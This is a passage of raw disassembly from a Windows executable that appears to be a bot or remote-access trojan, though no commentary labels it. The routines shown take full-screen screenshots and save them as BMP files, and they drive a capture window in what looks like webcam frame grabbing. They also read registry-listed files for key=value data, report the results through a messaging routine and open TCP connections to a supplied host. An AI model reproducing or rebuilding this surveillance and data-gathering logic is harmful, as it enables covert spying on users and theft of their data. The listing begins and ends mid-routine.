		push	[esp+0Ch+Str]	; Str
		push	[esp+10h+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_415DB1:				; CODE XREF: sub_415D7C+19j
		push	offset dword_44D2D0
		call	sub_415C3F
		pop	ecx
		retn
sub_415D7C	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset byte_4E6D68

loc_415DC3:				; CODE XREF: .text:00415DE4j
		cmp	byte ptr [esi],	0
		jz	short loc_415DD8
		push	dword ptr [esp+8]
		push	esi
		call	sub_418D9F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415DEA

loc_415DD8:				; CODE XREF: .text:00415DC6j
		add	esi, 80h
		cmp	esi, offset byte_4EAD68
		jl	short loc_415DC3
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_415DEA:				; CODE XREF: .text:00415DD6j
		push	1
		pop	eax
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DEF	proc near		; DATA XREF: sub_401CC7+2878o

Dest		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E42
		push	edx		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	offset dword_44D2E4 ; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409D34
		add	esp, 14h

loc_415E42:				; CODE XREF: sub_415DEF+33j
		cmp	[ebp+Str], 0
		jz	short loc_415E62
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415E62
		mov	[ebp+var_8], eax

loc_415E62:				; CODE XREF: sub_415DEF+5Aj
					; sub_415DEF+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset byte_4E6D68

loc_415E6B:				; CODE XREF: sub_415DEF+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415EC5
		cmp	byte ptr [esi],	0
		jz	short loc_415EB4
		cmp	[ebp+Str], 0
		jz	short loc_415E9A
		cmp	[ebp+var_4], 0
		jnz	short loc_415E9A
		lea	eax, [ebp+Str]
		push	eax		; int
		push	esi		; Str
		call	sub_418D9F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415EB4

loc_415E9A:				; CODE XREF: sub_415DEF+90j
					; sub_415DEF+96j
		push	edi		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409D34
		add	esp, 14h

loc_415EB4:				; CODE XREF: sub_415DEF+87j
					; sub_415DEF+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset byte_4EAD68
		jl	short loc_415E6B

loc_415EC5:				; CODE XREF: sub_415DEF+82j
		lea	eax, [ebp+Dest]
		push	offset asc_44D300 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_415EFF
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+var_118]
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409D34
		add	esp, 14h

loc_415EFF:				; CODE XREF: sub_415DEF+EEj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_18]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_415DEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F1E	proc near		; CODE XREF: sub_401CC7+73F8p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4E30E4	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_416152
		push	8
		push	edi
		call	dword_4E3100	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4E3100	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4E3100	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_415F80
		push	18h
		push	edi
		call	dword_4E3100	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415F82
; ---------------------------------------------------------------------------

loc_415F80:				; CODE XREF: sub_415F1E+50j
		xor	ebx, ebx

loc_415F82:				; CODE XREF: sub_415F1E+60j
		push	edi
		call	dword_4E3144	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_416137
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4E313C	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_416142
		push	eax
		push	[ebp+var_4]
		call	dword_4E2FC8	; SelectObject
		cmp	eax, esi
		jz	loc_416142
		cmp	eax, 0FFFFFFFFh
		jz	loc_416142
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4E3140	; BitBlt
		test	eax, eax
		jz	loc_416142
		cmp	ebx, esi
		jz	short loc_41603F
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4E301C	; GetDIBColorTable
		mov	ebx, eax

loc_41603F:				; CODE XREF: sub_415F1E+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	ds:dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_416122
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	ds:dword_4F53B4	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4F53B4	; WriteFile
		cmp	ebx, esi
		jz	short loc_416104
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4F53B4	; WriteFile

loc_416104:				; CODE XREF: sub_415F1E+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_4F53B4	; WriteFile
		push	[ebp+arg_0]
		call	ds:dword_4F533C	; CloseHandle
		push	1
		pop	esi

loc_416122:				; CODE XREF: sub_415F1E+1A2j
		push	[ebp+var_1C]
		call	dword_4E3054	; DeleteObject
		push	[ebp+var_4]
		call	dword_4E2FB4	; DeleteDC
		mov	edi, [ebp+var_20]

loc_416137:				; CODE XREF: sub_415F1E+70j
		push	edi
		call	dword_4E2FB4	; DeleteDC
		mov	eax, esi
		jmp	short loc_416154
; ---------------------------------------------------------------------------

loc_416142:				; CODE XREF: sub_415F1E+C7j
					; sub_415F1E+D9j ...
		push	edi
		call	dword_4E2FB4	; DeleteDC
		push	[ebp+var_4]
		call	dword_4E2FB4	; DeleteDC

loc_416152:				; CODE XREF: sub_415F1E+23j
		xor	eax, eax

loc_416154:				; CODE XREF: sub_415F1E+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416159(int,size_t Size,int,int)

sub_416159	proc near		; CODE XREF: sub_401CC7+751Fp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4EAD6C
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4E3048
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_416197
		mov	eax, esi
		jmp	loc_41634D
; ---------------------------------------------------------------------------

loc_416197:				; CODE XREF: sub_416159+35j
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4161B4
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	dword_4E3154	; SendMessageA
		jmp	short loc_4161B6
; ---------------------------------------------------------------------------

loc_4161B4:				; CODE XREF: sub_416159+47j
		xor	eax, eax

loc_4161B6:				; CODE XREF: sub_416159+59j
		cmp	eax, ebx
		jnz	short loc_4161C1

loc_4161BA:				; CODE XREF: sub_416159+88j
					; sub_416159+BCj
		mov	ebx, esi
		jmp	loc_416342
; ---------------------------------------------------------------------------

loc_4161C1:				; CODE XREF: sub_416159+5Fj
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4161DE
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4E3154	; SendMessageA

loc_4161DE:				; CODE XREF: sub_416159+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_4161BA
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_416204
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_416207
; ---------------------------------------------------------------------------

loc_416204:				; CODE XREF: sub_416159+98j
		mov	[ebp+Size], ebx

loc_416207:				; CODE XREF: sub_416159+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_4161BA
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41622E
		push	1
		pop	ebx
		jmp	loc_416342
; ---------------------------------------------------------------------------

loc_41622E:				; CODE XREF: sub_416159+CBj
		push	[ebp+var_4]
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_41624B
		push	[ebp+Memory]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA

loc_41624B:				; CODE XREF: sub_416159+E0j
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_416266
		mov	ecx, 280h

loc_416266:				; CODE XREF: sub_416159+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_416272
		mov	eax, 1E0h

loc_416272:				; CODE XREF: sub_416159+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4E3098	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_4162BC
		push	esi
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA

loc_4162BC:				; CODE XREF: sub_416159+153j
		push	[ebp+var_4]
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4162D9
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA

loc_4162D9:				; CODE XREF: sub_416159+16Ej
		push	[ebp+var_4]
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4162F8
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA

loc_4162F8:				; CODE XREF: sub_416159+18Bj
		push	[ebp+var_4]
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_416315
		push	[ebp+Memory]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA

loc_416315:				; CODE XREF: sub_416159+1AAj
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_416342
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4E3154	; SendMessageA

loc_416342:				; CODE XREF: sub_416159+63j
					; sub_416159+D0j ...
		push	[ebp+var_4]
		call	dword_4E31A8	; DestroyWindow
		mov	eax, ebx

loc_41634D:				; CODE XREF: sub_416159+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416352(int,size_t Size,int,int,int)

sub_416352	proc near		; CODE XREF: sub_401CC7+75D7p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4EAD6C
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow_0 ; "Window"
		call	dword_4E3048
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_416390
		mov	eax, esi
		jmp	loc_41658C
; ---------------------------------------------------------------------------

loc_416390:				; CODE XREF: sub_416352+35j
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4163AD
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	dword_4E3154	; SendMessageA
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------

loc_4163AD:				; CODE XREF: sub_416352+47j
		xor	eax, eax

loc_4163AF:				; CODE XREF: sub_416352+59j
		cmp	eax, ebx
		jnz	short loc_4163BA

loc_4163B3:				; CODE XREF: sub_416352+8Bj
					; sub_416352+BCj
		mov	ebx, esi
		jmp	loc_416583
; ---------------------------------------------------------------------------

loc_4163BA:				; CODE XREF: sub_416352+5Fj
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4163DA
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4E3154	; SendMessageA

loc_4163DA:				; CODE XREF: sub_416352+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_4163B3
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4163FD
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4E3154	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_416400
; ---------------------------------------------------------------------------

loc_4163FD:				; CODE XREF: sub_416352+96j
		mov	[ebp+Size], ebx

loc_416400:				; CODE XREF: sub_416352+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_4163B3
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_416427
		push	1
		pop	ebx
		jmp	loc_416583
; ---------------------------------------------------------------------------

loc_416427:				; CODE XREF: sub_416352+CBj
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_416444
		push	[ebp+Memory]
		push	[ebp+Size]
		push	42Ch
		push	edi
		call	dword_4E3154	; SendMessageA

loc_416444:				; CODE XREF: sub_416352+DEj
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_41645F
		mov	ecx, 0A0h

loc_41645F:				; CODE XREF: sub_416352+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_416469
		push	78h
		pop	eax

loc_416469:				; CODE XREF: sub_416352+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4164AE
		push	esi
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4E3154	; SendMessageA

loc_4164AE:				; CODE XREF: sub_416352+14Aj
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_4164CB
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4E3154	; SendMessageA

loc_4164CB:				; CODE XREF: sub_416352+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_416509
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4E3154	; SendMessageA

loc_416509:				; CODE XREF: sub_416352+1A3j
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_416524
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4E3154	; SendMessageA

loc_416524:				; CODE XREF: sub_416352+1C0j
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_41653D
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4E3154	; SendMessageA

loc_41653D:				; CODE XREF: sub_416352+1DBj
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_41655A
		push	[ebp+Memory]
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	dword_4E3154	; SendMessageA

loc_41655A:				; CODE XREF: sub_416352+1F4j
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E3098	; IsWindow
		test	eax, eax
		jz	short loc_416583
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4E3154	; SendMessageA

loc_416583:				; CODE XREF: sub_416352+63j
					; sub_416352+D0j ...
		push	edi
		call	dword_4E31A8	; DestroyWindow
		mov	eax, ebx

loc_41658C:				; CODE XREF: sub_416352+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416352	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416591	proc near		; CODE XREF: sub_401CC7+25E2p

Dest		= byte ptr -3F0h
var_2EC		= dword	ptr -2ECh
var_EC		= byte ptr -0ECh
Str		= byte ptr -6Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		push	edi
		xor	edi, edi
		cmp	off_44D33C, edi
		mov	[ebp+var_8], 80h
		jz	loc_416736
		push	ebx
		push	esi
		mov	eax, offset off_44D33C
		mov	esi, offset dword_44D348

loc_4165BC:				; CODE XREF: sub_416591+19Dj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	edi
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4E3168	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		push	edi
		push	edi
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4E2FF8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_41671C
		mov	eax, [esi]
		cmp	eax, edi
		jz	loc_4166DC
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSS_7	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	offset aR_1	; "r"
		push	eax		; Filename
		call	_fopen
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, edi
		jz	loc_41671C

loc_416633:				; CODE XREF: sub_416591+C9j
		push	ebx
		lea	eax, [ebp+Str]
		push	64h
		push	eax
		call	sub_41F210
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4166D3
		push	dword ptr [esi+4] ; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416633
		push	3Dh		; Val
		push	dword ptr [esi+4] ; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp+Str]
		push	offset asc_44E610 ; "="
		push	eax		; Str
		call	_strtok
		push	offset asc_44E614 ; "="
		push	edi		; Str
		call	_strtok
		add	esp, 10h
		push	eax
		push	dword ptr [esi-4]
		push	offset dword_44E618
		jmp	short loc_41669F
; ---------------------------------------------------------------------------

loc_416693:				; CODE XREF: sub_416591+D9j
		lea	eax, [ebp+Str]
		push	eax
		push	dword ptr [esi-4]
		push	offset asc_44E630 ; "-"

loc_41669F:				; CODE XREF: sub_416591+100j
		lea	eax, [ebp+var_2EC]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_2EC]
		push	edi		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415C3F
		add	esp, 18h

loc_4166D3:				; CODE XREF: sub_416591+B3j
		push	ebx		; File
		call	_fclose
		pop	ecx
		jmp	short loc_41671C
; ---------------------------------------------------------------------------

loc_4166DC:				; CODE XREF: sub_416591+65j
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset asc_44E648 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415C3F
		add	esp, 28h

loc_41671C:				; CODE XREF: sub_416591+5Bj
					; sub_416591+9Cj ...
		push	[ebp+var_4]
		call	dword_4E30D4	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], edi
		lea	eax, [esi-0Ch]
		jnz	loc_4165BC
		pop	esi
		pop	ebx

loc_416736:				; CODE XREF: sub_416591+19j
		pop	edi
		leave
		retn
sub_416591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416739	proc near		; CODE XREF: sub_4167BF+33p
					; sub_416D25+BCp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E3178	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4167B5
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4E30F8	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E3138	; inet_addr
		cmp	eax, esi
		jnz	short loc_41679A
		push	[ebp+arg_0]
		call	dword_4E317C	; gethostbyname
		test	eax, eax
		jz	short loc_4167B5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_41679A:				; CODE XREF: sub_416739+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4E30A0	; connect
		cmp	eax, esi
		jnz	short loc_4167B9
		push	edi
		call	dword_4E3190	; closesocket

loc_4167B5:				; CODE XREF: sub_416739+1Bj
					; sub_416739+58j
		mov	eax, esi
		jmp	short loc_4167BB
; ---------------------------------------------------------------------------

loc_4167B9:				; CODE XREF: sub_416739+73j
		mov	eax, edi

loc_4167BB:				; CODE XREF: sub_416739+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_416739	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167BF	proc near		; DATA XREF: sub_401CC7+A06o

Dst		= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_416739
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_416852
		lea	eax, [ebp+Dst]
		push	offset asc_44E660 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_416835
		push	edi		; int
